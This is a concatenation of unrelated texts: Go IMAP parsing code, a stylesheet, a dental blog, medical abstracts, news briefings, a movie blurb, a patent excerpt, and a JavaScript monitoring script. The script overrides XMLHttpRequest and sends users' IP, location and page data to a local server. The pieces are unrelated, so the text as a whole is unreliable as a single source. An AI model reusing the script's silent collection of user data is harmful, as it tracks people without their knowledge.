if addr.MailboxName != "" {
fields[2] = addr.MailboxName
}
if addr.HostName != "" {
fields[3] = addr.HostName
}
return fields
}
// Parse an address list from fields.
func ParseAddressList(fields []interface{}) (addrs []*Address) {
addrs = make([]*Address, len(fields))
for i, f := range fields {
if addrFields, ok := f.([]interface{}); ok {
addr := &Address{}
if err := addr.Parse(addrFields); err == nil {
addrs[i] = addr
}
}
}
return
}
// Format an address list to fields.
func FormatAddressList(addrs []*Address) interface{} {
if len(addrs) == 0 {
return nil
}
fields := make([]interface{}, len(addrs))
for i, addr := range addrs {
fields[i] = addr.Format()
}
return fields
}
// A message envelope, ie. message metadata from its headers.
// See RFC 3501 page 77.
type Envelope struct {
// The message date.
Date time.Time
// The message subject.
Subject string
// The From header addresses.
From []*Address
// The message senders.
Sender []*Address
// The Reply-To header addresses.
ReplyTo []*Address
// The To header addresses.
To []*Address
// The Cc header addresses.
Cc []*Address
// The Bcc header addresses.
Bcc []*Address
// The In-Reply-To header. Contains the parent Message-Id.
InReplyTo string
// The Message-Id header.
MessageId string
}
// Parse an envelope from fields.
func (e *Envelope) Parse(fields []interface{}) error {
if len(fields) < 10 {
return errors.New("ENVELOPE doesn't contain 10 fields")
}
if date, ok := fields[0].(string); ok {
e.Date, _ = parseMessageDateTime(date)
}
if subject, err := ParseString(fields[1]); err == nil {
e.Subject, _ = decodeHeader(subject)
}
if from, ok := fields[2].([]interface{}); ok {
e.From = ParseAddressList(from)
}
if sender, ok := fields[3].([]interface{}); ok {
e.Sender = ParseAddressList(sender)
}
if replyTo, ok := fields[4].([]interface{}); ok {
e.ReplyTo = ParseAddressList(replyTo)
}
if to, ok := fields[5].([]interface{}); ok {
e.To = ParseAddressList(to)
}
if cc, ok := fields[6].([]interface{}); ok {
e.Cc = ParseAddressList(cc)
}
if bcc, ok := fields[7].([]interface{}); ok {
e.Bcc = ParseAddressList(bcc)
}
if inReplyTo, ok := fields[8].(string); ok {
e.InReplyTo = inReplyTo
}
if msgId, ok := fields[9].(string); ok {
e.MessageId = msgId
}
return nil
}
// Format an envelope to fields.
func (e *Envelope) Format() (fields []interface{}) {
fields = make([]interface{}, 0, 10)
fields = append(fields, envelopeDateTime(e.Date))
if e.Subject != "" {
fields = append(fields, encodeHeader(e.Subject))
} else {
fields = append(fields, nil)
}
fields = append(fields,
FormatAddressList(e.From),
FormatAddressList(e.Sender),
FormatAddressList(e.ReplyTo),
FormatAddressList(e.To),
FormatAddressList(e.Cc),
FormatAddressList(e.Bcc),
)
if e.InReplyTo != "" {
fields = append(fields, e.InReplyTo)
} else {
fields = append(fields, nil)
}
if e.MessageId != "" {
fields = append(fields, e.MessageId)
} else {
fields = append(fields, nil)
}
return fields
}
// A body structure.
// See RFC 3501 page 74.
type BodyStructure struct {
// Basic fields
// The MIME type (e.g. "text", "image")
MIMEType string
// The MIME subtype (e.g. "plain", "png")
MIMESubType string
// The MIME parameters.
Params map[string]string
// The Content-Id header.
Id string
// The Content-Description header.
Description string
// The Content-Encoding header.
Encoding string
// The Content-Length header.
Size uint32
// Type-specific fields
// The children parts, if multipart.
Parts []*BodyStructure
// The envelope, if message/rfc822.
Envelope *Envelope
// The body structure, if message/rfc822.
BodyStructure *BodyStructure
// The number of lines, if text or message/rfc822.
Lines uint32
// Extension data
// True if the body structure contains extension data.
Extended bool
// The Content-Disposition header field value.
Disposition string
// The Content-Disposition header field parameters.
DispositionParams map[string]string
// The Content-Language header field, if multipart.
Language []string
// The content URI, if multipart.
Location []string
// The MD5 checksum.
MD5 string
}
func (bs *BodyStructure) Parse(fields []interface{}) error {
if len(fields) == 0 {
return nil
}
// Initialize params map
bs.Params = make(map[string]string)
switch fields[0].(type) {
case []interface{}: // A multipart body part
bs.MIMEType = "multipart"
end := 0
for i, fi := range fields {
switch f := fi.(type) {
case []interface{}: // A part
part := new(BodyStructure)
if err := part.Parse(f); err != nil {
return err
}
bs.Parts = append(bs.Parts, part)
case string:
end = i
}
if end > 0 {
break
}
}
bs.MIMESubType, _ = fields[end].(string)
end++
// GMail seems to return only 3 extension data fields. Parse as many fields
// as we can.
if len(fields) > end {
bs.Extended = true // Contains extension data
params, _ := fields[end].([]interface{})
bs.Params, _ = parseHeaderParamList(params)
end++
}
if len(fields) > end {
if disp, ok := fields[end].([]interface{}); ok && len(disp) >= 2 {
if s, ok := disp[0].(string); ok {
bs.Disposition, _ = decodeHeader(s)
bs.Disposition = strings.ToLower(bs.Disposition)
}
if params, ok := disp[1].([]interface{}); ok {
bs.DispositionParams, _ = parseHeaderParamList(params)
}
}
end++
}
if len(fields) > end {
switch langs := fields[end].(type) {
case string:
bs.Language = []string{langs}
case []interface{}:
bs.Language, _ = ParseStringList(langs)
default:
bs.Language = nil
}
end++
}
if len(fields) > end {
location, _ := fields[end].([]interface{})
bs.Location, _ = ParseStringList(location)
end++
}
case string: // A non-multipart body part
if len(fields) < 7 {
return errors.New("Non-multipart body part doesn't have 7 fields")
}
bs.MIMEType, _ = stringLowered(fields[0])
bs.MIMESubType, _ = stringLowered(fields[1])
params, _ := fields[2].([]interface{})
bs.Params, _ = parseHeaderParamList(params)
bs.Id, _ = fields[3].(string)
if desc, err := ParseString(fields[4]); err == nil {
bs.Description, _ = decodeHeader(desc)
}
bs.Encoding, _ = stringLowered(fields[5])
bs.Size, _ = ParseNumber(fields[6])
end := 7
// Type-specific fields
if strings.EqualFold(bs.MIMEType, "message") && strings.EqualFold(bs.MIMESubType, "rfc822") {
if len(fields)-end < 3 {
return errors.New("Missing type-specific fields for message/rfc822")
}
envelope, _ := fields[end].([]interface{})
bs.Envelope = new(Envelope)
bs.Envelope.Parse(envelope)
structure, _ := fields[end+1].([]interface{})
bs.BodyStructure = new(BodyStructure)
bs.BodyStructure.Parse(structure)
bs.Lines, _ = ParseNumber(fields[end+2])
end += 3
}
if strings.EqualFold(bs.MIMEType, "text") {
if len(fields)-end < 1 {
return errors.New("Missing type-specific fields for text/*")
}
bs.Lines, _ = ParseNumber(fields[end])
end++
}
// GMail seems to return only 3 extension data fields. Parse as many fields
// as we can.
if len(fields) > end {
bs.Extended = true // Contains extension data
bs.MD5, _ = fields[end].(string)
end++
}
if len(fields) > end {
if disp, ok := fields[end].([]interface{}); ok && len(disp) >= 2 {
if s, ok := disp[0].(string); ok {
bs.Disposition, _ = decodeHeader(s)
bs.Disposition = strings.ToLower(bs.Disposition)
}
if params, ok := disp[1].([]interface{}); ok {
bs.DispositionParams, _ = parseHeaderParamList(params)
}
}
end++
}
if len(fields) > end {
switch langs := fields[end].(type) {
case string:
bs.Language = []string{langs}
case []interface{}:
bs.Language, _ = ParseStringList(langs)
default:
bs.Language = nil
}
end++
}
if len(fields) > end {
location, _ := fields[end].([]interface{})
bs.Location, _ = ParseStringList(location)
end++
}
}
return nil
}
func (bs *BodyStructure) Format() (fields []interface{}) {
if strings.EqualFold(bs.MIMEType, "multipart") {
for _, part := range bs.Parts {
fields = append(fields, part.Format())
}
fields = append(fields, bs.MIMESubType)
if bs.Extended {
extended := make([]interface{}, 4)
if bs.Params != nil {
extended[0] = formatHeaderParamList(bs.Params)
}
if bs.Disposition != "" {
extended[1] = []interface{}{
encodeHeader(bs.Disposition),
formatHeaderParamList(bs.DispositionParams),
}
}
if bs.Language != nil {
extended[2] = FormatStringList(bs.Language)
}
if bs.Location != nil {
extended[3] = FormatStringList(bs.Location)
}
fields = append(fields, extended...)
}
} else {
fields = make([]interface{}, 7)
fields[0] = bs.MIMEType
fields[1] = bs.MIMESubType
fields[2] = formatHeaderParamList(bs.Params)
if bs.Id != "" {
fields[3] = bs.Id
}
if bs.Description != "" {
fields[4] = encodeHeader(bs.Description)
}
if bs.Encoding != "" {
fields[5] = bs.Encoding
}
fields[6] = bs.Size
// Type-specific fields
if strings.EqualFold(bs.MIMEType, "message") && strings.EqualFold(bs.MIMESubType, "rfc822") {
var env interface{}
if bs.Envelope != nil {
env = bs.Envelope.Format()
}
var bsbs interface{}
if bs.BodyStructure != nil {
bsbs = bs.BodyStructure.Format()
}
fields = append(fields, env, bsbs, bs.Lines)
}
if strings.EqualFold(bs.MIMEType, "text") {
fields = append(fields, bs.Lines)
}
// Extension data
if bs.Extended {
extended := make([]interface{}, 4)
if bs.MD5 != "" {
extended[0] = bs.MD5
}
if bs.Disposition != "" {
extended[1] = []interface{}{
encodeHeader(bs.Disposition),
formatHeaderParamList(bs.DispositionParams),
}
}
if bs.Language != nil {
extended[2] = FormatStringList(bs.Language)
}
if bs.Location != nil {
extended[3] = FormatStringList(bs.Location)
}
fields = append(fields, extended...)
}
}
return
}
// Filename parses the body structure's filename, if it's an attachment. An
// empty string is returned if the filename isn't specified. An error is
// returned if and only if a charset error occurs, in which case the undecoded
// filename is returned too.
func (bs *BodyStructure) Filename() (string, error) {
raw, ok := bs.DispositionParams["filename"]
if !ok {
// Using "name" in Content-Type is discouraged
raw = bs.Params["name"]
}
return decodeHeader(raw)
}
// BodyStructureWalkFunc is the type of the function called for each body
// structure visited by BodyStructure.Walk. The path argument contains the IMAP
// part path (see BodyPartName).
//
// The function should return true to visit all of the part's children or false
// to skip them.
type BodyStructureWalkFunc func(path []int, part *BodyStructure) (walkChildren bool)
// Walk walks the body structure tree, calling f for each part in the tree,
// including bs itself. The parts are visited in DFS pre-order.
func (bs *BodyStructure) Walk(f BodyStructureWalkFunc) {
// Non-multipart messages only have part 1
if len(bs.Parts) == 0 {
f([]int{1}, bs)
return
}
bs.walk(f, nil)
}
func (bs *BodyStructure) walk(f BodyStructureWalkFunc, path []int) {
if !f(path, bs) {
return
}
for i, part := range bs.Parts {
num := i + 1
partPath := append([]int(nil), path...)
partPath = append(partPath, num)
part.walk(f, partPath)
}
}
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
@import '../../stylesheets/less/variables.less';
.tab-pane {
min-height: 400px;
background: @lightest;
border: 1px solid @gray-light;
border-top: 0px;
}
.label {
display: inline-block;
margin-right: 5px;
margin-bottom: 5px;
}
|
Monthly Archives:: September 2012
Osteoporosis is a condition which affects over three million people in the UK, and can result in a great deal of pain and inevitably reduces a person’s ability to do the things they once took for granted. But a new software product being pioneered in dental surgeries looks set to change the way in which… Read more »
Those of us in the dentistry professional, whether hygienists, dentists, nurses or recruitment advisers, know only too well that teeth whitening can be extremely dangerous if approached the wrong way, with the wrong tools, and in the wrong hands. But sadly most consumers who have no particular knowledge of the world of dentistry do not… Read more »
How old do you think the dentistry profession is? A few hundred years? A thousand years? A recent discovery seems to suggest that dentistry dates back at least 6,500 years! A hundred years ago during a dig near Trieste, Slovenia, archaeologists unearthed a very old human jawbone, and on closer inspection it appears that one… Read more »
Ask anyone who has spent long enough standing underneath a coconut tree and they’ll probably suggest that coconuts are not great for your health. But there’s a fair difference between being bashed on the head by a coconut falling thirty feet from a tree, and what the oil appears to be able to do for… Read more » |
A functional relationship between delayed hypersensitivity and antibacterial immunity.
The injection of living Listeria Monocytogenes into the site of a delayed hypersensitivity reaction in the footpads of mice resulted in inactivation of the organism. No such inactivation occurred when L. monocytogenes was injected into normal footpads. A correlation was observed between the magnitude of the delayed hypersensitivity reaction and the level of antibacterial resistance expressed within the delayed hypersensitivity site. |
;(function(){
//--------------------------错误信息上报--------------------------------------
var reportDataList = [];
;(function(){
if (window.jsErrorReport){
return window.jsErrorReport
};
/*默认上报的错误信息*/
var defaults = {
t:'', //发送数据时的时间戳
n:'js',//模块名,
msg:'', //错误的具体信息,
a:navigator.appVersion,
data:{}
};
/*格式化参数*/
function formatParams(data) {
var arr = [];
for (var name in data) {
arr.push(encodeURIComponent(name) + "=" + encodeURIComponent(data[name]));
}
return arr.join("&");
}
/*上报函数*/
// function report(url,data){
// var img = new Image();
// img.src = url+'?v=1&' +formatParams(data) ;
// }
/**js错误监控**/
var jsErrorReport=function(params){
if(!params.url){return}
defaults.n = params.moduleName;
var url = params.url;
//重写send方法,监控xhr请求
var s_ajaxListener = new Object();
s_ajaxListener.tempSend = XMLHttpRequest.prototype.send;//复制原先的send方法
s_ajaxListener.tempOpen= XMLHttpRequest.prototype.open;//复制原先的open方法
//重写open方法,记录请求的url
XMLHttpRequest.prototype.open = function(method,url,boolen){
defaults.method = method
s_ajaxListener.tempOpen.apply(this, [method,url,boolen]);
this.ajaxUrl = url;
};
XMLHttpRequest.prototype.send = function(_data){
s_ajaxListener.tempSend.apply(this, [_data]);
this.onreadystatechange = function(){
if (this.readyState==4) {
if (this.status >= 200 && this.status < 300) {
return true;
}else {
defaults.t =new Date().getTime();
defaults.msg = 'ajax请求错误';
defaults.data = {
resourceUrl:this.ajaxUrl,
pageUrl:location.href,
category:'ajax',
text:this.statusText,
status:this.status
}
// 合并上报的数据，包括默认上报的数据和自定义上报的数据
var reportData=Object.assign({},params.data || {},defaults);
reportDataList.push(reportData)
}
}
}
};
//监控资源加载错误(img,script,css,以及jsonp)
window.addEventListener('error',function(e){
defaults.t =new Date().getTime();
defaults.msg =e.target.localName+' is load error';
defaults.method = 'GET'
defaults.data ={
target: e.target.localName,
type: e.type,
resourceUrl:e.target.currentSrc,
pageUrl:location.href,
category:'resource'
};
if(e.target!=window){//抛去js语法错误
// 合并上报的数据，包括默认上报的数据和自定义上报的数据
var reportData=Object.assign({},params.data || {},defaults);
reportDataList.push(reportData)
}
},true);
//监控js错误
window.onerror = function(msg,_url,line,col,error){
//采用异步的方式,避免阻塞
setTimeout(function(){
//不一定所有浏览器都支持col参数，如果不支持就用window.event来兼容
col = col || (window.event && window.event.errorCharacter) || 0;
if (error && error.stack){
//msg信息较少,如果浏览器有追溯栈信息,使用追溯栈信息
defaults.msg = error.stack.toString();
}else{
defaults.msg = msg;
}
defaults.method = 'GET'
defaults.data={
resourceUrl:_url,
pageUrl:location.href,
category:'js',
line:line,
col:col
};
defaults.t=new Date().getTime();
defaults.level='error';
// 合并上报的数据，包括默认上报的数据和自定义上报的数据
var reportData=Object.assign({},params.data || {},defaults);
reportDataList.push(reportData)
},0);
// return true; //错误不会console浏览器上,如需要，可将这样注释
};
}
window.jsErrorReport=jsErrorReport;
})();
let domain = 'http://127.0.0.1:18088/'
// error错误上报
jsErrorReport({
url:domain+'reportErrorMsg',//上报地址
moduleName:'error',//上报模块名
data:{}//自定义参数
});
//-----------------------页面性能数据上报--------------------------------------
// 资源列表信息
let resource = null;
// 延迟请求resourceTime资源时间
let resourceTime = 2000;
// onreadystatechange请求的XML信息
let urlXMLArr = [];
// onload的xml请求信息
let urlOnload = [];
// 页面ajax数量
let ajaxLength = 0
// 页面是否有ajax请求
let haveAjax = false;
let timer10,timer11,timer12,timer13;
let ajaxMsg = [];
!function (ob) {
ob.hookAjax = function (funs) {
window._ahrealxhr = window._ahrealxhr || XMLHttpRequest
XMLHttpRequest = function () {
this.xhr = new window._ahrealxhr;
for (let attr in this.xhr) {
let type = "";
try {
type = typeof this.xhr[attr]
} catch (e) {}
if (type === "function") {
this[attr] = hookfun(attr);
} else {
Object.defineProperty(this, attr, {
get: getFactory(attr),
set: setFactory(attr)
})
}
}
}
function getFactory(attr) {
return function () {
return this.hasOwnProperty(attr + "_")?this[attr + "_"]:this.xhr[attr];
}
}
function setFactory(attr) {
return function (f) {
let xhr = this.xhr;
let that = this;
if (attr.indexOf("on") != 0) {
this[attr + "_"] = f;
return;
}
if (funs[attr]) {
xhr[attr] = function () {
funs[attr](that) || f.apply(xhr, arguments);
}
} else {
xhr[attr] = f;
}
}
}
function hookfun(fun) {
return function () {
let args = [].slice.call(arguments)
if (funs[fun] && funs[fun].call(this, args, this.xhr)) {
return;
}
return this.xhr[fun].apply(this.xhr, args);
}
}
return window._ahrealxhr;
}
ob.unHookAjax = function () {
if (window._ahrealxhr) XMLHttpRequest = window._ahrealxhr;
window._ahrealxhr = undefined;
}
}(window)
// 拦截ajax
hookAjax({
onreadystatechange:function(xhr){
if(xhr.readyState === 4){
urlXMLArr.push(0);
if(urlXMLArr.length === ajaxLength){
setTimeout(()=>{
if(!urlOnload.length){
clearTimeout(timer10)
timer10 = setTimeout(()=>{
console.log('走了AJAX onreadystatechange 方法')
ajaxLength = 0
resource = performance.getEntriesByType('resource')
ReportData();
},resourceTime)
}
},800)
}
}
},
onerror:function(){
},
onload:function(xhr){
urlOnload.push(0);
console.log(urlOnload.length+'---'+ajaxLength)
if(urlOnload.length === ajaxLength){
clearTimeout(timer11)
timer11 = setTimeout(()=>{
console.log('走了AJAX onload 方法')
ajaxLength = 0
resource = performance.getEntriesByType('resource')
ReportData();
},resourceTime)
}
},
open:function(arg,xhr){
if(arg[1].indexOf('http://localhost:8000/sockjs-node/info')!=-1) return;
ajaxMsg.push(arg)
haveAjax = true;
if(ajaxLength===0)performance.clearResourceTimings();
ajaxLength = ajaxLength+1;
}
})
// 绑定onload事件
window.addEventListener("load",function(){
if(!haveAjax){
clearTimeout(timer12)
timer12=setTimeout(()=>{
console.log('走了WINDOW onload 方法')
performance.clearResourceTimings()
resource = performance.getEntriesByType('resource')
ReportData()
},resourceTime)
}
},true);
// 数据上报
function ReportData(){
ajaxLength = 0
urlXMLArr = []
urlOnload = []
ajaxMsg = []
haveAjax = false
resource = null
// return
// fetch('http://httpbin.org/ip').then(function(response) { return response.json(); }).then(function(data) {
// console.log(data);
// }).catch(function(e) {
// console.log("Oops, error");
// });
// fetch('https://ipv4.icanhazip.com/').then(function(response) { return response.text(); }).then(function(data) {
// console.log(data);
// }).catch(function(e) {
// console.log(e);
// });
let webscript = document.getElementById('web_performance_script');
let appId = webscript.getAttribute('data-appId')
if(!appId) return;
/*----------------------------------打cookie标识----------------------------------*/
let user_system_msgs = {};
window.getCookies=function(data){
user_system_msgs = data
reportMain()
}
createElement(domain,'reportMark',appId,'script')
// 正式开始上报
function reportMain(){
/*---------------------------------错误信息上报---------------------------------*/
if(reportDataList&&reportDataList.length){
// 错误信息上报
fetch(`${domain}reportErrorMsg`,{
method: 'POST',
body:JSON.stringify({
appId:appId,
reportDataList:reportDataList,
})
}).then(function(response) {
// console.log(response)
})
reportDataList=[]
}
/*---------------------------------统计用户系统信息---------------------------------*/
createElement(domain,'reportSystem',appId,'img',{
appId:appId,
url:encodeURIComponent(location.href),
markPage:user_system_msgs.markPage,
markUser:user_system_msgs.markUser,
IP:user_system_msgs.IP,
city:user_system_msgs.city,
county:user_system_msgs.county,
isp:user_system_msgs.isp,
province:user_system_msgs.province
})
/*---------------------------------统计页面性能及其资源性能---------------------------------*/
if (!window.performance && !window.performance.getEntries) return false;
let resource = performance.getEntriesByType('resource')
let pushArr = []
let resourceTime = 0
resource.forEach((item)=>{
let json = {
name:item.name,
method:'GET',
type:item.initiatorType,
duration:item.duration.toFixed(2)||0,
decodedBodySize:item.decodedBodySize||0,
nextHopProtocol:item.nextHopProtocol,
}
for(let i=0,len=ajaxMsg.length;i<len;i++){
if(ajaxMsg[i][1]===item.name){
json.method = ajaxMsg[i][0]||'GET'
}
}
resourceTime+=item.duration
pushArr.push(json)
})
console.log(pushArr)
/*---------------------------------统计页面性能-----------------------------------*/
let timing = performance.timing
// DNS解析时间
let dnsTime = timing.domainLookupEnd-timing.domainLookupStart || 0
//TCP建立时间
let tcpTime = timing.connectEnd-timing.connectStart || 0
// 白屏时间
let whiteTime = timing.responseStart-timing.navigationStart || 0
//dom渲染完成时间
let domTime = timing.domContentLoadedEventEnd-timing.navigationStart || 0
//页面onload时间
let loadTime = timing.loadEventEnd - timing.navigationStart || 0
// 页面准备时间
let readyTime = timing.fetchStart-timing.navigationStart || 0
// 页面重定向时间
let redirectTime = timing.redirectEnd - timing.redirectStart || 0
// unload时间
let unloadTime = timing.unloadEventEnd - timing.unloadEventStart || 0
//request请求耗时
let requestTime = timing.responseEnd - timing.requestStart || 0
//页面解析dom耗时
let analysisDomTime = timing.domComplete - timing.domInteractive || 0
let preUrl = document.referrer&&document.referrer!==location.href?document.referrer:''
let pageTimes={
dnsTime:dnsTime,
tcpTime:tcpTime,
whiteTime:whiteTime,
domTime:domTime,
loadTime:loadTime,
readyTime:readyTime,
redirectTime:redirectTime,
unloadTime:unloadTime,
requestTime:requestTime,
analysisDomTime:analysisDomTime,
resourceTime:resourceTime,
preUrl:preUrl
}
// ajax上报
fetch(`${domain}reportResource`,{
method: 'POST',
body:JSON.stringify({
appId:appId,
markPage:user_system_msgs.markPage,
markUser:user_system_msgs.markUser,
url:encodeURIComponent(location.href),
list:pushArr,
pageTimes:pageTimes,
})
}).then(function(response) {
// console.log(response)
})
}
// 公共函数新增dom节点
function createElement(domain,apiName,appId,type='img',option={}){
let imgBjc = document.createElement(type)
let src = domain+apiName
for(let key in option){
if(src.indexOf('?')!==-1){
src = `${src}&${key}=${option[key]}`
}else{
src = `${src}?${key}=${option[key]}`
}
}
imgBjc.setAttribute('src',src);
imgBjc.setAttribute("style","display:none;");
document.body.appendChild(imgBjc);
}
}
})();
|
Facebook is seeking endorsements for the next president of the United States.
Facebook users can now go to the official Facebook pages of Hillary Clinton or Donald Trump and select "Endorse."
SEE ALSO: It looks like Facebook motivated a lot of people to register to vote
The new feature launched on Tuesday and has instructions that can be found here on Facebook's official Help Center.
Image: facebook
Facebook users can choose to show the endorsement publicly — to all of Facebook's 1.71 billion monthly active users — which will then appear on the candidates' Facebook page. Or, they can choose to show to only friends on the network.
Clinton has 7.2 million likes on her Facebook page. Trump has 11.5 million likes on his page. Gary Johnson and Jill Stein also have the new feature on their pages.
Just in case liking Facebook pages, writing political rants and commenting on other people's posts about your love or hate of the 2016 election, Facebook is now asking for an official tally.
Facebook also added an "issues" tab to the pages of the candidates. When clicked, a list of topics appears that can be selected. Each topic features selected quotes and videos addressing each issue.
This isn't the first time we've seen Facebook entrench itself into the 2016 election. Just last week, it was revealed that Facebook's voter registration push from Sept. 23 to 26 aligned with a significant increase in the actual number of people who registered to vote.
This election has already seen some of the highest levels of conversation on Facebook. It was the most talked about topic in 2015, Facebook announced in December.
In am email, a Facebook spokesperson said: |
Good morning, this is Eleanor Ainge Roy bringing you the main stories and must-reads on Thursday 1 February.
Top stories
Malcolm Turnbull delivers an agenda-setting speech in regional Queensland today, focusing on corporate and personal tax cuts to stimulate the economy. The prime minister will talk up the prospect of wages growth – because “the laws of supply and demand have not been suspended”, according to speech notes seen by Guardian Australia. And he plans to use the speech to argue he has delivered on the rationale he offered when he took the Liberal party leadership from Tony Abbott in 2015 – “to provide the economic leadership that Australia needed”.
With the Coalition trailing Labor in major opinion polls for the whole of 2017, a slump exacerbated by internal ill-discipline and infighting – including frequent public interventions by Abbott – Turnbull will frame the new political year as a time when the government needs to “stay the course”. “Despite Canberra being a hothouse which thrives on pessimism and political distractions, we delivered on many of our plans last year, and we have more to do now,” he will say.
Unnecessary greyhound deaths are still occurring at levels seen before New South Wales repealed its industry ban, internal figures reveal. Details of greyhound deaths in NSW suggest the industry is making little progress on its August 2016 guarantee that “no greyhound will be unnecessarily euthanised”. Data obtained by the Greens MP Mehreen Faruqi suggests unnecessary euthanasia has continued largely unabated, with 330 greyhounds euthanised between April last year, when the ban was formally repealed, and 31 December. That’s a rate of about 1.3 deaths per day.
The refugee emergency along the Bangladesh-Myanmar border is a crisis of the young, with generations-long repercussions for the region, and the world, writes immigration correspondent Ben Doherty. Since 25 August more than 668,000 Rohingya have fled Myanmar for camps over the Bangladesh border. Nearly 400,000 of those are children, a figure that will rise as new families arrive still, and infants are born in the camps. Majuma Begum, 18, says soldiers came in the darkness to her village of Boli Bazaar and she watched the soldiers work systematically through it, torching homes and executing those who did not, or could not, flee. Seven months pregnant, she ran. The boy she gave birth to in the teaming refugee camp is called Anwar:his name means light.
A man repeatedly abused as a child at the Turana Boys’ Home and at a Salvation Army institution in Victoria has implored the prime minister not to exclude criminals who were victims of childhood sexual abuse from accessing a national redress scheme. National redress scheme legislation has been referred to a Senate inquiry over concerns about the opt-in nature for some institutions, the amount of redress available, and anger that survivors who went on to commit serious crimes would be barred. In a submission to the inquiry, a man who chose to remain anonymous wrote: “I would have been all right in life if it hadn’t been for the sexual abuse committed against me, and rejections by the system, so how can you, Mr Turnbull, judge me as not being eligible for compensation on the grounds of criminality?I was a system-made problem.”
The BBC is “in real trouble” over the equal pay row that has rocked the organisation, Carrie Gracie has said in extremely damaging evidence to MPs. Gracie resigned as China editor earlier this month in protest at the “secretive and illegal” pay culture at the BBC. “I knew I’d give the China job every last ounce of my skin and stamina. I knew I would do that job at least as good as any man,” she said. “I insisted on equal pay. I thought I had won a commitment to pay parity when I set off to China which is why I got such a shock [when BBC salaries were revealed].”. Her comments will increase the pressure on the BBC over pay equality, which began when the broadcaster’s pay list revealed that two-thirds of its best paid on-air staff were men, and Gracie’s male colleagues in equivalent roles were earning 50% more than her.
Sport
Hannah Mouncey has every reason to say AFLW is not inclusive, given she was barred the right to nominate in the draft. Howeverher experience of women’s football is as a game that embraces diversity in all its forms. In AFLW, the AFL has been gifted a product where inclusivity is key to success.
German football star Mesut Özil is set to bolster Arsenal’s side by agreeing to a new £350,000-a-week deal. The midfielder will sign on to the club for three years, and may soon be joined by Jack Wilshere if he and Arsenal sign too – a deal which is close.
Thinking time
What does it take to take to help others with little expectation of reward? Our new series, The Altruists, focuses on those who do just that. Brisbane GP Ai-lene Chan was raised with a social conscience, and when she discovered the conditions of the refugees stranded on Christmas Island and Nauru after working there, she knew she had to speak up.
Drugs containing codeine will no longer be available from pharmacies without a prescription in Australia, with the ban affecting brands such as Nurofen Plus and Panadeine. This restriction is in keeping with our advanced understanding of pain and its best management, writes Malcolm Hogg a specialist in anaesthesia and pain medicine. “When I started specialising in pain medicine, opioids such as codeine and morphine were the mainstays of managing severe acute and cancer-related pain. As usage broadened, the benefits were limited, particularly when high doses were used, and the social concerns of misuse and addiction emerged.”
Consumer price index figures released this week show an inflation rate well below Reserve Bank targets. But if you think that equates to reduced pressure in cost of living, you’d be wrong. “Most of the biggest prices rises were for essential items such as health, housing (including rents and utilities) and transport,” writes Greg Jericho. “This lack of a growth in wage rises will also mean that households will continue to feel the effects of cost of living rises, even as overall inflation remains historically low.”
What’s he done now?
Despite repeatedly applauding his own speech, Donald Trump seemed “standoffish and low-energy,” writes Ted Widmer for the Washington Post, analysing the president’s state of the union address on Wednesday . “He woke up a little when he needed to enlarge the threat posed by nasty but regional actors — MS-13 and North Korea. He was half-asleep when mumbling about genuine global rivals – Russia”.
Media roundup
The Australian reports that Asio has warned foreign spy activity and espionage in Australia is higher than at any time during the cold war. The Herald Sun splashes with the accidental release of a serious criminal on remand by Victorian police after they “bungled” his paperwork. The man spent a night on the outside before turning himself in after his mother phoned police to check if her son was meant to be out. Asio officers entered on ABC offices in Brisbane and Canberra overnight to secure classified documents, installing safes (which the ABC has access to) to improve security around the thousands of top-secret and classified files, which were found discarded in a locked filing cabinet in an op-shop.
Coming up
The Australian Electoral Commission will release its latest update of political donation information. Today’s release will include full amount of Malcolm Turnbull’s donation to the Liberal party just before 2016 election, among other donations.
The new Socceroos coach Bert van Marwijk will hold a media conference with Football Federation Australia chairman Steven Lowy and chief executive David Gallop.
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Synopsis
You for Me stars Peter Lawford as a profligate playboy who's a nice guy underneath. After suffering a hunting accident which leaves him with a butt full of buckshot, Lawford is interred in the hospital that his donations have kept afloat. Nurse Jane Greer refuses to treat Lawford any better than any other patient, which of course makes him adore her all the more. more
Movies.com, the ultimate source for everything movies, is your destination for new movie trailers, reviews, photos, times, tickets + more! Stay in the know with the latest movie news and cast interviews at Movies.com. |
Neurocysticercosis in Wisconsin: 3 cases and a review of the literature.
Neurocysticercosis is the most common parasitic infection of the brain. Endemic in many regions of the world, neurocysticercosis is now showing up in nonendemic areas such as Wisconsin. We present 3 patients that illustrate features typical for neurocysticercosis in anon-endemic area, including immigrant/travel status, presentation with focal seizures, classic magnetic resonance imaging features of single enhancing lesions, and good response to treatment with anticonvulsants, anti-inflammatory agents, and cysticidal drugs. It behooves physicians involved in the care of at-risk populations to be aware of the clinical features, radiographic signs, diagnostic tests, and general principles for treating neurocysticercosis. |
1. Field of the Invention
The present invention relates to a handling device of a stocker, such as automatic warehouse or automatic part feeder, for temporary storage of articles, units, products etc. and supply thereof to a working or assembling station.
2. Related Background Art
An assembling apparatus is disclosed for example in U.S. Pat. No. 4,651,863, corresponding to Japanese Laid-open Patent Application No. 60-56702.
Also an article feeding apparatus is disclosed for example in the U.S. patent application Ser. Nos. 887,130 which is now U.S. Pat. No. 4,844,680, and 903,412, abandoned and refiled as Ser. No. 306,260, which is now U.S. Pat. No. 4,932,828, of the present applicant.
In these apparatus, for supplying parts, semi-assembled units or the like to an automatic assembling machine such as a robot, these articles are stored in a stocker and then taken out therefrom according to the demand of the assembling machine. The stocker is equipped with shelves on which are stored containers, called pallets or trays, for containing the articles. Various handling devices are available for storing said containers into the shelves or extracting the same from the shelves.
